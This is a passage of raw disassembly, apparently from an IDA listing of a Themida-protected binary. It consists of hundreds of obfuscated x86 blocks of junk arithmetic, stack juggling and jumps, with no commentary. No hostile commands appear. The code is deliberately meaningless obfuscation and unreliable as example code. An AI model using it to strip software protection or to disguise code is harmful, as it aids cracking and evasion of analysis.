loc_54E639:				; CODE XREF: Themida_:00548AB5j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		jmp	loc_54B499
; ---------------------------------------------------------------------------


loc_54E64D:				; CODE XREF: Themida_:0054F6EEj
		mov	[esp], edi
		mov	edi, 29381003h
		jmp	loc_5479D3
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_54A384
; ---------------------------------------------------------------------------
		push	small 0EB2h
		mov	[esp], sp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5458DC
; ---------------------------------------------------------------------------


loc_54E67E:				; CODE XREF: Themida_:0054B8C9j
		mov	edx, 294903E3h
		mov	ebx, 23F733E1h
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	edi, 0EB5C0EA4h
		add	edi, ebx
		pop	ebx
		shl	edi, 7
		and	edi, 62F04CCBh
		push	edx
		mov	edx, 27EE4A96h
		jmp	loc_549832
; ---------------------------------------------------------------------------


loc_54E6AC:				; CODE XREF: Themida_:0054E778j
		push	ecx
		mov	ecx, 540A635Bh
		add	ecx, 6217330Eh
		add	ecx, 6344A59Ch
		jmp	loc_545B0B
; ---------------------------------------------------------------------------


loc_54E6C3:				; CODE XREF: Themida_:00544C21j
		pop	ebx
		pop	edx
		push	ecx
		push	ebx
		pop	ecx
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_549D8A
; ---------------------------------------------------------------------------


loc_54E6D6:				; CODE XREF: Themida_:00545C0Bj
		push	edi
		jmp	loc_5452EE
; ---------------------------------------------------------------------------


loc_54E6DC:				; CODE XREF: Themida_:00548F8Cj
		mov	ecx, 89597ABFh
		mov	eax, ecx
		pop	ecx
		sub	ebp, eax
		pop	eax
		sub	[edi+24h], ebp
		pop	ebp


loc_54E6EB:				; CODE XREF: Themida_:0054E99Dj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	11EEh
		mov	[esp], edx
		jmp	loc_54DC8D
; ---------------------------------------------------------------------------


loc_54E712:				; CODE XREF: Themida_:0054FBDCj
		sub	esi, 4
		jmp	loc_54FF21
; ---------------------------------------------------------------------------


loc_54E71A:				; CODE XREF: Themida_:00546AFBj
		push	42A4h
		jmp	loc_54EBB9
; ---------------------------------------------------------------------------


loc_54E724:				; CODE XREF: Themida_:00546313j
		inc	edx
		shr	edx, 5
		xor	edx, 0BD29002h
		jmp	loc_54AF8B
; ---------------------------------------------------------------------------


loc_54E733:				; CODE XREF: Themida_:00547308j
		push	edx
		mov	dh, 65h
		add	al, dh
		pop	edx
		sub	al, bl
		push	cx
		push	edx
		mov	dl, 65h
		mov	ch, dl
		jmp	loc_54D434
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	650Ch
		jmp	loc_54AA94
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		mov	ecx, esp
		push	edx
		jmp	loc_54DA59
; ---------------------------------------------------------------------------


loc_54E761:				; CODE XREF: Themida_:005442DAj
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 29AF2370h
		and	ecx, 39FA415Ah
		sub	ecx, 29AA014Ch
		jmp	loc_54E6AC
; ---------------------------------------------------------------------------


loc_54E77D:				; CODE XREF: Themida_:0054C977j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_549633
; ---------------------------------------------------------------------------


loc_54E7B5:				; CODE XREF: Themida_:005489E3j
		mov	esp, [esp]
		mov	dx, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		jmp	loc_54571B
; ---------------------------------------------------------------------------


loc_54E7D6:				; CODE XREF: Themida_:00549337j
		sub	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ecx
		push	ecx
		mov	ecx, 30h
		add	ecx, edx
		push	eax
		mov	eax, edi
		push	ebx
		jmp	loc_54EAAC
; ---------------------------------------------------------------------------


loc_54E7F2:				; CODE XREF: Themida_:00545208j
		mov	esi, 5AF115A7h
		sub	esi, 592B3410h
		dec	esi
		sub	esi, 8CC21DAh
		inc	esi
		jmp	loc_54A4BE
; ---------------------------------------------------------------------------


loc_54E80A:				; CODE XREF: Themida_:0054487Ej
		mov	[esp], bp
		push	small word ptr [esp+2]
		mov	bp, [esp]
		push	eax
		jmp	loc_5485FE
; ---------------------------------------------------------------------------


loc_54E81D:				; CODE XREF: Themida_:0054A1D4j
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		jmp	loc_54541F
; ---------------------------------------------------------------------------


loc_54E829:				; CODE XREF: Themida_:0054E21Cj
		add	eax, 7F3F41DCh
		jmp	loc_5461A1
; ---------------------------------------------------------------------------


loc_54E833:				; CODE XREF: Themida_:0054A300j
		pop	esp
		shr	ecx, 6
		push	eax
		mov	eax, esp
		push	7BCAh
		mov	[esp], edx
		push	ebx
		push	319B1A42h
		pop	ebx
		mov	edx, 0DEEFF442h
		sub	edx, 327808B6h
		add	edx, ebx
		add	edx, 327808B6h
		jmp	loc_546003
; ---------------------------------------------------------------------------


loc_54E861:				; CODE XREF: Themida_:00547C35j
		push	edi
		push	ebx
		mov	ebx, 3B5550E3h
		add	ebx, 22F97772h
		push	esi
		mov	esi, 28B66AF2h
		dec	esi
		neg	esi
		and	esi, 616112D8h
		add	esi, 0CD744DD2h
		or	ebx, esi
		pop	esi
		shl	ebx, 2
		shr	ebx, 6
		sub	ebx, 0A122BACh
		push	ebp
		mov	ebp, 0AE869E9h
		xor	ebp, 898836ECh
		add	ebx, ebp
		jmp	loc_54CC5A
; ---------------------------------------------------------------------------


loc_54E8A5:				; CODE XREF: Themida_:005496AEj
		pop	dword ptr [esp]
		pop	esp
		mov	edx, [esp]
		push	ecx
		push	esp
		jmp	loc_546612
; ---------------------------------------------------------------------------


loc_54E8B3:				; CODE XREF: Themida_:00545D73j
		mov	si, 3B62h
		not	si
		jmp	loc_54F041
; ---------------------------------------------------------------------------


loc_54E8BF:				; CODE XREF: Themida_:0054483Fj
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_54F73F
; ---------------------------------------------------------------------------


loc_54E8D1:				; CODE XREF: Themida_:0054C276j
		xchg	ebx, [esp]
		jmp	loc_548FE5
; ---------------------------------------------------------------------------


loc_54E8D9:				; CODE XREF: Themida_:0054D3F9j
		sub	esi, 11113DD3h
		push	edi
		mov	edi, 239B270Fh
		inc	edi
		xchg	ebp, edi
		inc	ebp
		xchg	ebp, edi
		and	edi, 589806B6h
		xor	edi, 76421D14h
		or	esi, edi
		pop	edi
		dec	esi
		xor	esi, 1F4376ABh
		mov	ecx, esi
		pop	esi
		push	7648h
		mov	[esp], esi
		push	13D66223h
		pop	esi
		or	esi, 346C32EDh
		shl	esi, 2
		push	edx
		mov	edx, 2B0D239Ah
		shl	edx, 8
		not	edx
		xor	edx, 10965E68h
		dec	edx
		add	edx, 9BF24675h
		jmp	loc_54DBD7
; ---------------------------------------------------------------------------


loc_54E938:				; CODE XREF: Themida_:005464F0j
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 1AE332Ch
		jmp	loc_54B2F7
; ---------------------------------------------------------------------------


loc_54E946:				; CODE XREF: Themida_:0054B480j
		add	esp, 4
		jmp	loc_5448E3
; ---------------------------------------------------------------------------


loc_54E951:				; CODE XREF: Themida_:0054F538j
		mov	edx, 5A612724h
		dec	edx
		not	edx
		and	edx, 6C0707FFh
		add	edx, 1FB36698h
		jmp	loc_54D63D
; ---------------------------------------------------------------------------


loc_54E96A:				; CODE XREF: Themida_:0054FB31j
		add	dword ptr [esp+4], 14BA506Ah
		jmp	loc_548945
; ---------------------------------------------------------------------------


loc_54E977:				; CODE XREF: Themida_:00546493j
		push	ecx
		mov	ecx, 1CB270F3h
		jmp	loc_547F6D
; ---------------------------------------------------------------------------


loc_54E982:				; CODE XREF: Themida_:00547717j
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_54CDE7
; ---------------------------------------------------------------------------


loc_54E990:				; CODE XREF: Themida_:00544ED1j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54E6EB
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		push	2C54h
		mov	[esp], ebx
		push	edi
		jmp	loc_54A1D9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	22F3h
		mov	[esp], esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 4
		push	ecx
		jmp	loc_547505
; ---------------------------------------------------------------------------


loc_54E9D4:				; CODE XREF: Themida_:0054DAB2j
		mov	[esp], ax
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0ECh
		add	dh, 6Eh
		push	ecx
		mov	cl, dh
		jmp	loc_54B229
; ---------------------------------------------------------------------------


loc_54E9EB:				; CODE XREF: Themida_:0054CF82j
		xor	edi, 183DAE6Bh
		mov	esi, edi
		pop	edi
		or	esi, 77725C77h
		push	edx
		mov	edx, 7F777C7Bh
		sub	esi, edx
		pop	edx
		jmp	loc_544516
; ---------------------------------------------------------------------------


loc_54EA08:				; CODE XREF: Themida_:00546820j
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_544EAC
; ---------------------------------------------------------------------------


loc_54EA19:				; CODE XREF: Themida_:00544D55j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_54ED6D
; ---------------------------------------------------------------------------


loc_54EA27:				; CODE XREF: Themida_:005449B8j
		mov	ebp, 197629D1h
		inc	ebp
		jmp	loc_54D806
; ---------------------------------------------------------------------------


loc_54EA32:				; CODE XREF: Themida_:0054573Ej
		mov	esp, [esp]
		jmp	loc_54FD3E
; ---------------------------------------------------------------------------


loc_54EA3A:				; CODE XREF: Themida_:0054A25Cj
		push	ecx
		push	edx
		mov	edx, 76E260E5h
		and	edx, 15810020h
		shr	edx, 7
		shr	edx, 2
		or	edx, 0A4C3C87h
		inc	edx
		sub	edx, 0EF204524h
		mov	ecx, edx
		pop	edx
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 27D11F65h
		add	[esp+4], ecx
		pop	ecx
		add	dword ptr [esp], 4C540C33h
		add	[esp], eax
		sub	dword ptr [esp], 4C540C33h
		sub	dword ptr [esp], 27D11F65h
		push	eax
		push	ebx
		mov	ebx, 1B2E3764h
		push	7F5h
		mov	[esp], ebx
		jmp	loc_54B56F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5452DB
; ---------------------------------------------------------------------------


loc_54EAAC:				; CODE XREF: Themida_:0054E7EDj
		mov	ebx, 0
		add	ebx, ecx
		jmp	loc_54A5D9

; =============== S U B	R O U T	I N E =======================================



sub_54EAB8	proc near		; CODE XREF: sub_565CDA-1D898j

; FUNCTION CHUNK AT 00549F31 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0054C3A3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0054F2A9 SIZE 00000008 BYTES

		push	ebx
		push	eax
		mov	al, 62h
		push	ecx
		jmp	loc_549F31
sub_54EAB8	endp

; ---------------------------------------------------------------------------


loc_54EAC2:				; CODE XREF: Themida_:005448AFj
		or	ebp, eax
		pop	eax
		jmp	loc_546531
; ---------------------------------------------------------------------------


loc_54EACA:				; CODE XREF: Themida_:0054F7C4j
		mov	ebp, esi
		pop	esi
		pop	ecx
		jmp	loc_549B97
; ---------------------------------------------------------------------------


loc_54EAD3:				; CODE XREF: Themida_:0054440Fj
		push	edi
		mov	edi, 55D32FABh
		dec	edi
		add	edi, 71811418h
		add	edi, 38ABBC40h
		mov	ebp, edi
		pop	edi
		add	esi, ebp
		jmp	loc_5448B4
; ---------------------------------------------------------------------------


loc_54EAF0:				; CODE XREF: Themida_:0054CBABj
		add	al, 6Bh
		jmp	loc_545360
; ---------------------------------------------------------------------------


loc_54EAF7:				; CODE XREF: Themida_:00544C96j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_54F810
; ---------------------------------------------------------------------------


loc_54EAFF:				; CODE XREF: Themida_:0054D89Aj
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54A1B4
; ---------------------------------------------------------------------------


loc_54EB0E:				; CODE XREF: Themida_:0054FCF6j
		mov	[esp], eax
		jmp	loc_548CDA
; ---------------------------------------------------------------------------


loc_54EB16:				; CODE XREF: Themida_:00549643j
		and	ecx, 265935C8h
		shl	ecx, 5
		and	ecx, 72E3BD1h
		sub	ecx, 9D33EA12h
		sub	esi, ecx
		pop	ecx
		add	esi, ecx
		add	esi, 64CE36EEh
		pop	ecx
		push	3733h
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_54B23D
; ---------------------------------------------------------------------------


loc_54EB49:				; CODE XREF: Themida_:00549D07j
		pop	esp
		add	eax, ebx
		pop	ebx
		jmp	loc_54A2F8
; ---------------------------------------------------------------------------


loc_54EB52:				; CODE XREF: Themida_:00548A4Dj
		mov	ebp, esp
		jmp	loc_545ECA
; ---------------------------------------------------------------------------


loc_54EB59:				; CODE XREF: Themida_:00547942j
		add	esp, 4
		sub	edi, 0A0A1E68h
		push	eax
		mov	eax, 2B385413h
		jmp	loc_54919C
; ---------------------------------------------------------------------------


loc_54EB6D:				; CODE XREF: Themida_:00547927j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 2
		sub	esp, 4
		jmp	loc_54543F
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	edx
		push	ebx
		mov	bh, 8Ch
		push	eax
		jmp	loc_54CC42
; ---------------------------------------------------------------------------


loc_54EB90:				; CODE XREF: Themida_:0054C9D7j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54EB95:				; CODE XREF: Themida_:00547104j
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2
		mov	ebx, edi
		jmp	loc_5475FD
; ---------------------------------------------------------------------------


loc_54EBB9:				; CODE XREF: Themida_:0054E71Fj
		mov	[esp], esi
		push	16FC26FFh
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 0F5CCDC00h
		mov	eax, esi
		pop	esi
		jmp	loc_54BA08
; ---------------------------------------------------------------------------


loc_54EBD8:				; CODE XREF: Themida_:005499F9j
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_54C06B
; ---------------------------------------------------------------------------


loc_54EBF0:				; CODE XREF: Themida_:00545055j
		sub	bp, 101h
		and	bp, 5449h
		and	bp, 6FA6h
		add	bp, 251Bh
		sub	esp, 4
		jmp	loc_548B8B
; ---------------------------------------------------------------------------


loc_54EC0F:				; CODE XREF: Themida_:0054A697j
		push	edx
		mov	dl, 0EFh
		sub	al, dl
		mov	edx, [esp]
		add	esp, 4
		add	al, 80h
		sub	al, bl
		push	ecx
		mov	cl, 80h
		sub	al, 5Fh
		sub	al, cl
		add	al, 5Fh
		pop	ecx
		push	small 3DBDh
		jmp	loc_54A34D
; ---------------------------------------------------------------------------


loc_54EC34:				; CODE XREF: Themida_:0054C457j
		push	dword ptr [esp+4]
		jmp	loc_5480A4
; ---------------------------------------------------------------------------


loc_54EC3D:				; CODE XREF: Themida_:0054A5FBj
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebp
		push	esi
		mov	esi, 278B734Ch
		or	esi, 67825B92h
		push	edi
		mov	edi, 231031F7h
		sub	esi, edi
		pop	edi
		push	eax
		push	esi
		mov	esi, 3F905F16h
		shl	esi, 3
		shr	esi, 1
		sub	esi, 9FF0721h
		mov	eax, esi
		pop	esi
		shl	eax, 3
		jmp	loc_547499
; ---------------------------------------------------------------------------


loc_54EC7C:				; CODE XREF: Themida_:0054778Aj
		push	esp
		push	dword ptr [esp]
		jmp	loc_546CCE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		jmp	loc_5456D8
; ---------------------------------------------------------------------------


loc_54EC8F:				; CODE XREF: Themida_:0054ED2Fj
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 533D6C4Dh
		jmp	loc_54BEFE
; ---------------------------------------------------------------------------


loc_54ECA1:				; CODE XREF: Themida_:0054CC26j
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		push	esp
		jmp	loc_54FA24
; ---------------------------------------------------------------------------


loc_54ECBD:				; CODE XREF: Themida_:00549B6Bj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_547A49
		mov	dword ptr [edi+20h], 38090F14h
		shr	dword ptr [edi+20h], 1
		shl	dword ptr [edi+20h], 4
		shl	dword ptr [edi+20h], 6
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_546BA8
; ---------------------------------------------------------------------------


loc_54ECE4:				; CODE XREF: Themida_:00546B8Ej
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54FAC6
; ---------------------------------------------------------------------------


loc_54ECF4:				; CODE XREF: Themida_:0054FDCAj
		shl	edi, 5
		xchg	ebp, edi
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, edi
		or	edi, 28945347h
		sub	edi, 0FAF7D3DBh
		add	ecx, edi
		jmp	loc_5454E8
; ---------------------------------------------------------------------------


loc_54ED13:				; CODE XREF: Themida_:0054E54Bj
		add	edi, eax
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54ED29:				; CODE XREF: Themida_:005476FBj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_54EC8F
; ---------------------------------------------------------------------------


loc_54ED34:				; CODE XREF: Themida_:0054A375j
		mov	[esp], esp
		push	edi
		mov	edi, 4
		push	esi
		mov	esi, 5BBF30F5h
		sub	[esp+8], esi
		pop	esi
		sub	dword ptr [esp+4], 66DD24EEh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 436E2128h
		jmp	loc_54FB1C
; ---------------------------------------------------------------------------


loc_54ED6D:				; CODE XREF: Themida_:0054EA22j
		add	ebp, 4
		jmp	loc_54D522
; ---------------------------------------------------------------------------


loc_54ED75:				; CODE XREF: Themida_:0054482Ej
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	ax, [esp]
		push	73DAh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5484D9
; ---------------------------------------------------------------------------


loc_54ED9B:				; CODE XREF: Themida_:0054BB99j
		and	ebx, eax
		pop	eax
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebx, edx
		pop	edx
		xor	ebx, 2C200865h
		add	eax, ebx
		pop	ebx
		jmp	loc_54A860
; ---------------------------------------------------------------------------


loc_54EDB5:				; CODE XREF: Themida_:00544618j
		sub	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5444E2
; ---------------------------------------------------------------------------


loc_54EDC3:				; CODE XREF: Themida_:00547A79j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54EDC8:				; CODE XREF: Themida_:00547277j
		mov	edi, 277D139Dh
		push	4A09h
		mov	[esp], edi
		add	dword ptr [esp], 8E656DDh
		pop	ebp
		sub	ebp, 8E656DDh
		jmp	loc_544756
; ---------------------------------------------------------------------------


loc_54EDE8:				; CODE XREF: Themida_:00545CBCj
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5445D5
; ---------------------------------------------------------------------------


loc_54EDF9:				; CODE XREF: Themida_:0054FF1Cj
		mov	edi, 346461C9h
		inc	edi
		not	edi
		jmp	loc_54FE8B
; ---------------------------------------------------------------------------


loc_54EE06:				; CODE XREF: Themida_:005466E1j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 30D9279Dh
		inc	ecx
		jmp	loc_54BEE4
; ---------------------------------------------------------------------------


loc_54EE25:				; CODE XREF: Themida_:0054E3ABj
		add	cl, bl
		pop	ebx
		sub	al, 50h
		jmp	loc_547EB0
; ---------------------------------------------------------------------------


loc_54EE2F:				; CODE XREF: Themida_:0054E4A3j
		mov	edx, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4A64651Fh
		inc	ebx
		add	ebx, 0FFFFFFFFh
		add	ebx, 0F36BABE3h
		mov	edi, ebx
		pop	ebx
		jmp	loc_546965
; ---------------------------------------------------------------------------


loc_54EE56:				; CODE XREF: Themida_:00544EA7j
		add	esp, 4
		push	ebp
		jmp	loc_545D41
; ---------------------------------------------------------------------------


loc_54EE62:				; CODE XREF: Themida_:0054C8F2j
		pop	edi
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_547D6A
; ---------------------------------------------------------------------------


loc_54EE71:				; CODE XREF: Themida_:00544B33j
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]


loc_54EE8A:				; CODE XREF: Themida_:loc_54B14Cj
		push	2592h
		mov	[esp], eax
		push	edi
		jmp	loc_544B38
; ---------------------------------------------------------------------------


loc_54EE98:				; CODE XREF: Themida_:005488BBj
		sub	ecx, 2E00402Ah
		and	esi, ecx
		jmp	loc_54EFF0
; ---------------------------------------------------------------------------


loc_54EEA5:				; CODE XREF: Themida_:00545ADDj
		inc	esi
		dec	esi
		add	esi, 52484C5Fh
		jmp	loc_54D3C2
; ---------------------------------------------------------------------------


loc_54EEB2:				; CODE XREF: Themida_:0054D24Cj
		mov	[esp], ecx
		jmp	loc_546AA0
; ---------------------------------------------------------------------------


loc_54EEBA:				; CODE XREF: Themida_:005496C7j
		push	47F8h
		jmp	loc_54E5D0
; ---------------------------------------------------------------------------


loc_54EEC4:				; CODE XREF: Themida_:005464C6j
		mov	[esp], esi
		jmp	loc_54BE6D
; ---------------------------------------------------------------------------


loc_54EECC:				; CODE XREF: Themida_:0054C553j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54EED1:				; CODE XREF: Themida_:0054D441j
		push	edx
		jmp	loc_548063
; ---------------------------------------------------------------------------


loc_54EED7:				; CODE XREF: Themida_:0054D31Ej
		pop	esi
		push	1266h
		jmp	loc_544DA2
; ---------------------------------------------------------------------------


loc_54EEE2:				; CODE XREF: Themida_:005468E4j
		xor	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54EEEC:				; CODE XREF: Themida_:0054F8FDj
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_54C1CB
; ---------------------------------------------------------------------------


loc_54EEF6:				; CODE XREF: Themida_:0054833Dj
		mov	[edi+38h], bh
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_54C770
; ---------------------------------------------------------------------------


loc_54EF13:				; CODE XREF: Themida_:00548398j
		push	eax
		push	edi
		mov	edi, 4BE71331h
		sub	edi, 0FFFFFFFFh
		add	edi, 35FD2D30h
		push	edx
		mov	edx, 2D9A7EE5h
		or	edi, edx
		pop	edx
		dec	edi
		sub	edi, 7ED13809h
		xor	edi, 0C2A13F7h
		mov	eax, edi
		jmp	loc_544BBB
; ---------------------------------------------------------------------------


loc_54EF40:				; CODE XREF: Themida_:005473C7j
		mov	al, 0BAh
		add	al, 25h
		sub	al, 0F1h
		sub	bl, 89h
		add	bl, al
		add	bl, 89h
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		jmp	loc_5493B1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		jmp	loc_545BBA
; ---------------------------------------------------------------------------


loc_54EF73:				; CODE XREF: Themida_:0054B86Ej
		pop	ecx
		jmp	loc_54C8C5
; ---------------------------------------------------------------------------


loc_54EF79:				; CODE XREF: Themida_:005448C6j
		mov	edx, 55F53DEFh
		add	edx, 5254485Eh
		push	ebp
		mov	ebp, 484365A5h
		jmp	loc_546AA6
; ---------------------------------------------------------------------------


loc_54EF8F:				; CODE XREF: Themida_:00549783j
		not	edx
		xchg	edx, ebx
		xchg	ebx, esi
		push	ecx
		jmp	loc_54C112
; ---------------------------------------------------------------------------


loc_54EF9B:				; CODE XREF: Themida_:00546F6Ej
		dec	ah
		xor	ah, 11h
		and	bl, ah
		jmp	loc_549C92
; ---------------------------------------------------------------------------


loc_54EFA7:				; CODE XREF: Themida_:0054A729j
		pop	edx
		jmp	loc_549056
; ---------------------------------------------------------------------------


loc_54EFAD:				; CODE XREF: Themida_:005475A3j
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_544188
; ---------------------------------------------------------------------------


loc_54EFB9:				; CODE XREF: Themida_:0054F16Ej
		push	ecx
		mov	ecx, 320B0C4Fh
		sub	ecx, 3BD9DE73h
		xor	ebp, ecx
		pop	ecx
		sub	eax, ebp
		pop	ebp
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54EFD0:				; CODE XREF: Themida_:00545B18j
		push	edi
		mov	edi, 30865D68h
		push	ecx
		push	edx
		mov	edx, 1DC755C2h
		or	edx, 6225295Bh
		not	edx
		xor	edx, 976BADACh
		jmp	loc_54AF9E
; ---------------------------------------------------------------------------


loc_54EFF0:				; CODE XREF: Themida_:0054EEA0j
		pop	ecx
		jmp	loc_54A598
; ---------------------------------------------------------------------------


loc_54EFF6:				; CODE XREF: Themida_:00545471j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_54D1C3
; ---------------------------------------------------------------------------


loc_54F00E:				; CODE XREF: Themida_:005462E0j
		add	eax, 0F971E98h
		add	eax, ecx
		jmp	loc_546059
; ---------------------------------------------------------------------------


loc_54F01A:				; CODE XREF: Themida_:00547DECj
		mov	bl, 65h
		add	bl, 47h
		add	dl, bl
		pop	ebx
		xor	ch, dl
		pop	edx
		sub	ch, 2Fh
		sub	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	edx
		jmp	loc_548D74
; ---------------------------------------------------------------------------


loc_54F03A:				; CODE XREF: Themida_:0054FB54j
		push	edx
		push	esi
		jmp	loc_547730
; ---------------------------------------------------------------------------


loc_54F041:				; CODE XREF: Themida_:0054E8BAj
		neg	si
		jmp	loc_54FAAF
; ---------------------------------------------------------------------------


loc_54F049:				; CODE XREF: Themida_:0054CEB2j
		xor	eax, 61907306h
		add	eax, 553815E1h
		shr	eax, 6
		xor	eax, 2E10FB65h
		jmp	loc_548F29
; ---------------------------------------------------------------------------


loc_54F060:				; CODE XREF: Themida_:0054F8D2j
		shl	dword ptr [edx+38h], 1
		xchg	ebp, [edx+38h]
		inc	ebp
		xchg	ebp, [edx+38h]
		shl	dword ptr [edx+38h], 7
		add	dword ptr [edx+38h], 0C376C4E1h
		and	dword ptr [edx+38h], 383B49A4h
		dec	dword ptr [edx+38h]
		push	eax
		push	edx
		mov	edx, 4C07538Bh
		mov	eax, 4C0753C3h
		add	eax, 13A56621h
		sub	eax, edx
		push	ebp
		mov	ebp, 4D047597h
		or	ebp, 4FEE3FB6h
		xor	ebp, 21D962F1h
		sub	ebp, 5A91B725h
		jmp	loc_54E439
; ---------------------------------------------------------------------------


loc_54F0AF:				; CODE XREF: Themida_:0054C33Aj
		mov	[esp], ebp
		push	ecx
		mov	ecx, 6D717622h
		inc	ecx
		sub	ecx, 1
		shr	ecx, 6
		xor	ecx, 0AB7CCEEh
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, 3B353C98h
		add	ecx, 0A4A3976h
		not	ecx
		push	edx
		mov	edx, 601C73CEh
		add	ecx, edx
		pop	edx
		jmp	loc_5457F3
; ---------------------------------------------------------------------------


loc_54F0EE:				; CODE XREF: Themida_:005464BCj
		push	edx
		mov	edx, 586944D1h
		jmp	loc_54B0EB
; ---------------------------------------------------------------------------


loc_54F0F9:				; CODE XREF: Themida_:0054DEAAj
		pop	edx
		jmp	loc_549989
; ---------------------------------------------------------------------------


loc_54F0FF:				; CODE XREF: Themida_:005490B4j
		push	207Dh
		jmp	loc_54FD61
; ---------------------------------------------------------------------------


loc_54F109:				; CODE XREF: Themida_:0054500Bj
		push	0CFh
		mov	[esp], eax
		mov	ah, 45h
		or	ch, ah
		mov	eax, [esp]
		add	esp, 4
		or	ch, 0C1h
		jmp	loc_54FDBF
